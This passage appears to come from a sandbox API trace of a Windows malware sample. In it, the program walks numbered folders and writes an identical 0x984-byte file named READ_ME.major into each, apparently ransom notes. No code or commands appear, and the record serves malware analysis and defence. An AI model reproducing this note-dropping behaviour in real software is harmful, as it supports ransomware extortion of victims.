HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d240 | out: hHeap=0x570000) returned 1 [0108.203] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d2d0 | out: hHeap=0x570000) returned 1 [0108.203] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7498 | out: hHeap=0x570000) returned 1 [0108.203] FindNextFileW (in: hFindFile=0x5a3110, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="1042", cAlternateFileName="")) returned 1 [0108.203] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7570 | out: hHeap=0x570000) returned 1 [0108.203] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7690 [0108.203] GetLastError () returned 0x0 [0108.203] SetLastError (dwErrCode=0x0) [0108.203] GetLastError () returned 0x0 [0108.203] SetLastError (dwErrCode=0x0) [0108.203] GetLastError () returned 0x0 [0108.203] SetLastError (dwErrCode=0x0) [0108.203] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0108.203] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc968 [0108.203] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7570 [0108.203] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d2a0 [0108.204] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d290 [0108.204] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7768 [0108.204] GetLastError () returned 0x0 [0108.204] SetLastError (dwErrCode=0x0) [0108.204] GetLastError () returned 0x0 [0108.204] SetLastError (dwErrCode=0x0) [0108.204] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6b90 [0108.204] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7768 | out: hHeap=0x570000) returned 1 [0108.204] GetLastError () returned 0x0 [0108.204] SetLastError (dwErrCode=0x0) [0108.204] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed10 [0108.204] CreateFileW (lpFileName="\\588bce7c90097ed212\\1042\\READ_ME.major" (normalized: "c:\\588bce7c90097ed212\\1042\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0108.220] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0108.220] WriteFile (in: hFile=0x454, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0108.223] CloseHandle (hObject=0x454) returned 1 [0108.223] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6b90 | out: hHeap=0x570000) returned 1 [0108.223] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d290 | out: hHeap=0x570000) returned 1 [0108.223] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d2a0 | out: hHeap=0x570000) returned 1 [0108.223] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7570 | out: hHeap=0x570000) returned 1 [0108.223] FindNextFileW (in: hFindFile=0x5a3110, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="1043", cAlternateFileName="")) returned 1 [0108.223] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7690 | out: hHeap=0x570000) returned 1 [0108.223] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7570 [0108.223] GetLastError () returned 0x0 [0108.224] SetLastError (dwErrCode=0x0) [0108.224] GetLastError () returned 0x0 [0108.224] SetLastError (dwErrCode=0x0) [0108.224] GetLastError () returned 0x0 [0108.224] SetLastError (dwErrCode=0x0) [0108.224] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7258 [0108.224] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccc38 [0108.224] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c71c8 [0108.224] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d320 [0108.224] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d340 [0108.224] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72a0 [0108.224] GetLastError () returned 0x0 [0108.224] SetLastError (dwErrCode=0x0) [0108.224] GetLastError () returned 0x0 [0108.224] SetLastError (dwErrCode=0x0) [0108.224] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0108.224] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72a0 | out: hHeap=0x570000) returned 1 [0108.224] GetLastError () returned 0x0 [0108.224] SetLastError (dwErrCode=0x0) [0108.224] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed68 [0108.224] CreateFileW (lpFileName="\\588bce7c90097ed212\\1043\\READ_ME.major" (normalized: "c:\\588bce7c90097ed212\\1043\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0108.226] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed68 | out: hHeap=0x570000) returned 1 [0108.226] WriteFile (in: hFile=0x454, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0108.227] CloseHandle (hObject=0x454) returned 1 [0108.227] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0108.227] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d340 | out: hHeap=0x570000) returned 1 [0108.227] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d320 | out: hHeap=0x570000) returned 1 [0108.227] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c71c8 | out: hHeap=0x570000) returned 1 [0108.227] FindNextFileW (in: hFindFile=0x5a3110, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="1044", cAlternateFileName="")) returned 1 [0108.227] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7570 | out: hHeap=0x570000) returned 1 [0108.228] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7498 [0108.228] GetLastError () returned 0x0 [0108.228] SetLastError (dwErrCode=0x0) [0108.228] GetLastError () returned 0x0 [0108.228] SetLastError (dwErrCode=0x0) [0108.228] GetLastError () returned 0x0 [0108.228] SetLastError (dwErrCode=0x0) [0108.228] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c74e0 [0108.228] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc800 [0108.228] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7888 [0108.228] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d240 [0108.228] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d260 [0108.228] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7570 [0108.228] GetLastError () returned 0x0 [0108.228] SetLastError (dwErrCode=0x0) [0108.228] GetLastError () returned 0x0 [0108.228] SetLastError (dwErrCode=0x0) [0108.228] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7410 [0108.228] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7570 | out: hHeap=0x570000) returned 1 [0108.228] GetLastError () returned 0x0 [0108.228] SetLastError (dwErrCode=0x0) [0108.228] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed10 [0108.228] CreateFileW (lpFileName="\\588bce7c90097ed212\\1044\\READ_ME.major" (normalized: "c:\\588bce7c90097ed212\\1044\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0108.247] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0108.247] WriteFile (in: hFile=0x454, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0108.249] CloseHandle (hObject=0x454) returned 1 [0108.249] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7410 | out: hHeap=0x570000) returned 1 [0108.249] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d260 | out: hHeap=0x570000) returned 1 [0108.249] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d240 | out: hHeap=0x570000) returned 1 [0108.249] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7888 | out: hHeap=0x570000) returned 1 [0108.249] FindNextFileW (in: hFindFile=0x5a3110, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="1045", cAlternateFileName="")) returned 1 [0108.249] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7498 | out: hHeap=0x570000) returned 1 [0108.249] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c76d8 [0108.249] GetLastError () returned 0x0 [0108.249] SetLastError (dwErrCode=0x0) [0108.249] GetLastError () returned 0x0 [0108.249] SetLastError (dwErrCode=0x0) [0108.249] GetLastError () returned 0x0 [0108.249] SetLastError (dwErrCode=0x0) [0108.249] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7570 [0108.249] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc878 [0108.249] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7498 [0108.249] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d350 [0108.250] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d260 [0108.250] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72e8 [0108.250] GetLastError () returned 0x0 [0108.250] SetLastError (dwErrCode=0x0) [0108.250] GetLastError () returned 0x0 [0108.250] SetLastError (dwErrCode=0x0) [0108.250] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7278 [0108.250] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72e8 | out: hHeap=0x570000) returned 1 [0108.250] GetLastError () returned 0x0 [0108.250] SetLastError (dwErrCode=0x0) [0108.250] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed10 [0108.250] CreateFileW (lpFileName="\\588bce7c90097ed212\\1045\\READ_ME.major" (normalized: "c:\\588bce7c90097ed212\\1045\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0108.270] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0108.270] WriteFile (in: hFile=0x454, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0108.271] CloseHandle (hObject=0x454) returned 1 [0108.272] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7278 | out: hHeap=0x570000) returned 1 [0108.272] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d260 | out: hHeap=0x570000) returned 1 [0108.272] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d350 | out: hHeap=0x570000) returned 1 [0108.272] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7498 | out: hHeap=0x570000) returned 1 [0108.272] FindNextFileW (in: hFindFile=0x5a3110, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="1046", cAlternateFileName="")) returned 1 [0108.272] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c76d8 | out: hHeap=0x570000) returned 1 [0108.272] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70f0 [0108.272] GetLastError () returned 0x0 [0108.272] SetLastError (dwErrCode=0x0) [0108.272] GetLastError () returned 0x0 [0108.272] SetLastError (dwErrCode=0x0) [0108.272] GetLastError () returned 0x0 [0108.272] SetLastError (dwErrCode=0x0) [0108.272] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72e8 [0108.272] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc990 [0108.272] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7888 [0108.272] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d1d0 [0108.272] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d1c0 [0108.273] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7690 [0108.273] GetLastError () returned 0x0 [0108.273] SetLastError (dwErrCode=0x0) [0108.273] GetLastError () returned 0x0 [0108.273] SetLastError (dwErrCode=0x0) [0108.273] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0108.273] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7690 | out: hHeap=0x570000) returned 1 [0108.273] GetLastError () returned 0x0 [0108.273] SetLastError (dwErrCode=0x0) [0108.273] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bef20 [0108.273] CreateFileW (lpFileName="\\588bce7c90097ed212\\1046\\READ_ME.major" (normalized: "c:\\588bce7c90097ed212\\1046\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0108.276] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bef20 | out: hHeap=0x570000) returned 1 [0108.276] WriteFile (in: hFile=0x454, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0108.277] CloseHandle (hObject=0x454) returned 1 [0108.277] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0108.277] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d1c0 | out: hHeap=0x570000) returned 1 [0108.277] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d1d0 | out: hHeap=0x570000) returned 1 [0108.277] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7888 | out: hHeap=0x570000) returned 1 [0108.278] FindNextFileW (in: hFindFile=0x5a3110, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="1049", cAlternateFileName="")) returned 1 [0108.278] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0108.278] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0108.278] GetLastError () returned 0x0 [0108.278] SetLastError (dwErrCode=0x0) [0108.278] GetLastError () returned 0x0 [0108.278] SetLastError (dwErrCode=0x0) [0108.278] GetLastError () returned 0x0 [0108.278] SetLastError (dwErrCode=0x0) [0108.278] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72a0 [0108.278] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccc60 [0108.278] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7690 [0108.278] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d200 [0108.278] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d2d0 [0108.278] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c76d8 [0108.279] GetLastError () returned 0x0 [0108.279] SetLastError (dwErrCode=0x0) [0108.279] GetLastError () returned 0x0 [0108.279] SetLastError (dwErrCode=0x0) [0108.279] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0108.279] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c76d8 | out: hHeap=0x570000) returned 1 [0108.279] GetLastError () returned 0x0 [0108.279] SetLastError (dwErrCode=0x0) [0108.279] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bee18 [0108.279] CreateFileW (lpFileName="\\588bce7c90097ed212\\1049\\READ_ME.major" (normalized: "c:\\588bce7c90097ed212\\1049\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0108.296] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bee18 | out: hHeap=0x570000) returned 1 [0108.296] WriteFile (in: hFile=0x454, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0108.297] CloseHandle (hObject=0x454) returned 1 [0108.297] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0108.297] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d2d0 | out: hHeap=0x570000) returned 1 [0108.297] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d200 | out: hHeap=0x570000) returned 1 [0108.297] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7690 | out: hHeap=0x570000) returned 1 [0108.297] FindNextFileW (in: hFindFile=0x5a3110, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="1053", cAlternateFileName="")) returned 1 [0108.297] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0108.297] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7498 [0108.297] GetLastError () returned 0x0 [0108.297] SetLastError (dwErrCode=0x0) [0108.297] GetLastError () returned 0x0 [0108.297] SetLastError (dwErrCode=0x0) [0108.298] GetLastError () returned 0x0 [0108.298] SetLastError (dwErrCode=0x0) [0108.298] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7768 [0108.298] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cccd8 [0108.298] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7690 [0108.298] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d320 [0108.298] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d260 [0108.298] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c76d8 [0108.298] GetLastError () returned 0x0 [0108.298] SetLastError (dwErrCode=0x0) [0108.298] GetLastError () returned 0x0 [0108.298] SetLastError (dwErrCode=0x0) [0108.298] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6ca0 [0108.298] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c76d8 | out: hHeap=0x570000) returned 1 [0108.298] GetLastError () returned 0x0 [0108.299] SetLastError (dwErrCode=0x0) [0108.299] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed10 [0108.299] CreateFileW (lpFileName="\\588bce7c90097ed212\\1053\\READ_ME.major" (normalized: "c:\\588bce7c90097ed212\\1053\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0108.301] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0108.301] WriteFile (in: hFile=0x454, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0108.302] CloseHandle (hObject=0x454) returned 1 [0108.302] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6ca0 | out: hHeap=0x570000) returned 1 [0108.303] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d260 | out: hHeap=0x570000) returned 1 [0108.303] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d320 | out: hHeap=0x570000) returned 1 [0108.303] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7690 | out: hHeap=0x570000) returned 1 [0108.303] FindNextFileW (in: hFindFile=0x5a3110, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="1055", cAlternateFileName="")) returned 1 [0108.303] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7498 | out: hHeap=0x570000) returned 1 [0108.303] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0108.303] GetLastError () returned 0x0 [0108.303] SetLastError (dwErrCode=0x0) [0108.303] GetLastError () returned 0x0 [0108.303] SetLastError (dwErrCode=0x0) [0108.303] GetLastError () returned 0x0 [0108.303] SetLastError (dwErrCode=0x0) [0108.303] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7888 [0108.303] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc940 [0108.303] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0108.303] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d240 [0108.304] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d270 [0108.304] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c6fd0 [0108.304] GetLastError () returned 0x0 [0108.304] SetLastError (dwErrCode=0x0) [0108.304] GetLastError () returned 0x0 [0108.304] SetLastError (dwErrCode=0x0) [0108.304] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0108.304] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c6fd0 | out: hHeap=0x570000) returned 1 [0108.304] GetLastError () returned 0x0 [0108.304] SetLastError (dwErrCode=0x0) [0108.304] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed10 [0108.304] CreateFileW (lpFileName="\\588bce7c90097ed212\\1055\\READ_ME.major" (normalized: "c:\\588bce7c90097ed212\\1055\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0108.323] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0108.323] WriteFile (in: hFile=0x454, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0108.324] CloseHandle (hObject=0x454) returned 1 [0108.324] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0108.324] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d270 | out: hHeap=0x570000) returned 1 [0108.324] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d240 | out: hHeap=0x570000) returned 1 [0108.324] HeapFree (in: hHeap=0x570000, 